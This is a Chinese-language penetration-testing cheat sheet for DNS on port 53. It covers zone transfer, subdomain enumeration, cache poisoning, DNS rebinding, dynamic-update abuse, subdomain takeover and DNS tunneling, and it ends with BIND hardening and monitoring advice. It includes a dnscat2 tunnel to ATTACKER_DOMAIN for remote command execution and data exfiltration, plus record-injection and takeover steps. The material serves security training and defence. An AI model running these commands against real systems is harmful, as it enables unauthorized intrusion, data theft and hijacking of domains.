53 - DNS 服务渗透测试

服务概述

DNS (Domain Name System) 是互联网的核心服务,负责域名解析。配置不当可导致信息泄露、缓存投毒、隧道传输等安全问题。

默认端口: 53 (UDP/TCP)
危害等级: ⭐⭐⭐


信息收集

区域传输 (Zone Transfer)

原理: AXFR 请求获取整个 DNS 区域记录。

检测:

# dig 测试
dig @TARGET axfr DOMAIN.COM

# nslookup 测试
nslookup
> server TARGET
> set type=any
> ls -d DOMAIN.COM

# host 测试
host -l DOMAIN.COM TARGET

# nmap 扫描
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=DOMAIN.COM -p 53 TARGET

利用:

# 如果成功,获取所有记录
dig @TARGET axfr DOMAIN.COM > zone_transfer.txt

# 分析记录
cat zone_transfer.txt | grep -E "A|MX|TXT|NS"

DNS 枚举

# 子域名爆破
dnsrecon -d DOMAIN.COM -t brt -D /usr/share/wordlists/subdomains.txt

# 使用 gobuster
gobuster dns -d DOMAIN.COM -w subdomains.txt

# fierce 扫描
fierce -domain DOMAIN.COM -dns TARGET

# theHarvester
theHarvester -d DOMAIN.COM -b all

DNS 记录枚举

# 查询常见记录
dig @TARGET DOMAIN.COM ANY
dig @TARGET DOMAIN.COM MX
dig @TARGET DOMAIN.COM TXT
dig @TARGET DOMAIN.COM NS
dig @TARGET DOMAIN.COM SOA

# 反向 DNS
dig -x IP_ADDRESS
nslookup IP_ADDRESS

常见攻击手法

1. DNS 缓存投毒

原理: 污染 DNS 缓存,将域名解析到恶意 IP。

利用:

# 需要满足条件:
# 1. 可预测查询 ID
# 2. 可预测源端口
# 3. 目标使用递归 DNS

# 工具:Kaminsky 攻击
python3 dns_poison.py -t TARGET_DNS -d VICTIM_DOMAIN -f FAKE_IP

# 验证
dig @TARGET_DNS VICTIM_DOMAIN
# 应该返回 FAKE_IP

2. DNS 隧道

原理: 利用 DNS 协议传输数据,绕过防火墙。

检测:

# 异常 DNS 流量检测
tshark -i eth0 -Y "dns" -T fields -e dns.qry.name

# 查找长域名 (可能隧道)
tshark -i eth0 -Y "dns" -T fields -e dns.qry.name | awk 'length > 50'

# 高频 DNS 请求
tshark -i eth0 -Y "dns" -T fields -e ip.src | sort | uniq -c | sort -rn

利用:

# 服务端 (dnscat2)
dnscat2-server DOMAIN.COM --secret PASSWORD

# 客户端
dnscat2-client --secret PASSWORD DOMAIN.COM

# 建立隧道后
# 可执行命令、文件传输等

3. DNS 重绑定

原理: 快速切换 DNS 响应,绕过同源策略。

利用:

# 设置快速切换的 DNS
# 第一次返回公网 IP
# 第二次返回内网 IP (192.168.x.x)

# 工具:rbndr
# https://github.com/nccgroup/rbndr

# 访问恶意页面后
# 浏览器请求先解析到攻击者服务器
# 然后解析到内网目标
# JavaScript 可访问内网资源

4. 动态 DNS 更新滥用

原理: 未授权的 DDNS 更新可修改 DNS 记录。

检测:

# 测试动态更新
nsupdate << EOF
server TARGET
update add test.DOMAIN.COM 300 A 1.2.3.4
send
EOF

# 如果成功,说明未授权更新可用

5. DNSSEC 配置错误

原理: DNSSEC 未正确配置导致降级攻击。

检测:

# 检查 DNSSEC
dig +dnssec DOMAIN.COM
dig DNSKEY DOMAIN.COM

# 检查链式信任
dig +trace +dnssec DOMAIN.COM

实战案例

案例 1: 区域传输信息收集

# 1. 扫描目标
nmap -sV --script dns-brute -p 53 TARGET

# 2. 尝试区域传输
dig @TARGET axfr DOMAIN.COM

# 3. 成功获取所有记录
# 输出包含:
# - 所有子域名
# - 内部 IP 地址
# - 邮件服务器
# - 名称服务器

# 4. 分析敏感记录
cat zone.txt | grep -E "internal|dev|staging|admin"

案例 2: DNS 隧道数据外传

# 1. 受害者机器运行客户端
dnscat2-client --secret PASSWORD ATTACKER_DOMAIN

# 2. 攻击者服务端接收
dnscat2-server ATTACKER_DOMAIN --secret PASSWORD

# 3. 建立会话后
# 可执行任意命令
# 文件传输
# 端口转发

案例 3: 子域名接管

# 1. 枚举子域名
subfinder -d DOMAIN.COM -o subs.txt

# 2. 检查 CNAME 记录
dig @8.8.8.8 DOMAIN.COM CNAME

# 3. 查找悬空记录
# CNAME 指向不存在的目标
# 如:shop.DOMAIN.COM -> shops.myshopify.com (已删除)

# 4. 接管
# 在 Shopify 创建相同的子域名
# 现在控制 shop.DOMAIN.COM

案例 4: 内网 DNS 侦察

# 1. 进入内网后
# 查找 DNS 服务器
nmap -sV -p 53 192.168.1.0/24

# 2. 区域传输
dig @192.168.1.10 axfr internal.local

# 3. 获取内部域名
# - dc.internal.local (域控)
# - mail.internal.local (邮件)
# - fileserver.internal.local (文件服务器)

# 4. 针对性攻击

工具

dnsrecon

# 全面扫描
dnsrecon -d DOMAIN.COM -t std

# 区域传输
dnsrecon -d DOMAIN.COM -t axfr

# 子域名爆破
dnsrecon -d DOMAIN.COM -t brt -D wordlist.txt

# 所有检查
dnsrecon -d DOMAIN.COM -a

dnscat2

# 服务端
dnscat2-server DOMAIN.COM --secret PASSWORD --security open

# 客户端
dnscat2-client --secret PASSWORD DOMAIN.COM

# 交互式会话
# 支持命令执行、文件传输、端口转发

DNSRecon

# 标准枚举
dnsrecon -d DOMAIN.COM

# 暴力破解
dnsrecon -d DOMAIN.COM -D subdomains.txt -t brt

# 区域传输
dnsrecon -d DOMAIN.COM -t axfr

# 反向查找
dnsrecon -r 192.168.1.0/24

Sublist3r

# 子域名枚举
python3 sublist3r.py -d DOMAIN.COM

# 使用搜索引擎
python3 sublist3r.py -d DOMAIN.COM -e google,bing,yahoo

# 保存结果
python3 sublist3r.py -d DOMAIN.COM -o subs.txt

防御建议

服务器配置

# 1. 禁用区域传输 (除非必要)
# BIND named.conf
options {
    allow-transfer { none; };
    // 或仅允许从服务器
    // allow-transfer { 192.168.1.2; };
};

# 2. 限制递归查询
options {
    recursion no;
    // 或仅允许内网
    // allow-recursion { 192.168.0.0/16; };
};

# 3. 启用 DNSSEC
# 签名区域
dnssec-keygen DOMAIN.COM
dnssec-signzone DOMAIN.COM

# 4. 速率限制
options {
    rate-limit {
        responses-per-second 10;
    };
};

监控检测

# 1. 监控异常查询
# 大量 ANY 查询
# 频繁 AXFR 请求
# 异常长的域名

# 2. 日志分析
grep "AXFR" /var/log/named.log
grep "recursion" /var/log/named.log

# 3. 流量监控
tshark -i eth0 -Y "dns" -T fields -e dns.qry.name | sort | uniq -c

# 4. 配置告警
# 单 IP 高频查询
# 可疑子域名模式

网络隔离

1. DNS 服务器放置 DMZ
2. 内网 DNS 不暴露公网
3. 防火墙限制 53 端口
4. 使用 DNS over HTTPS (DoH)

参考链接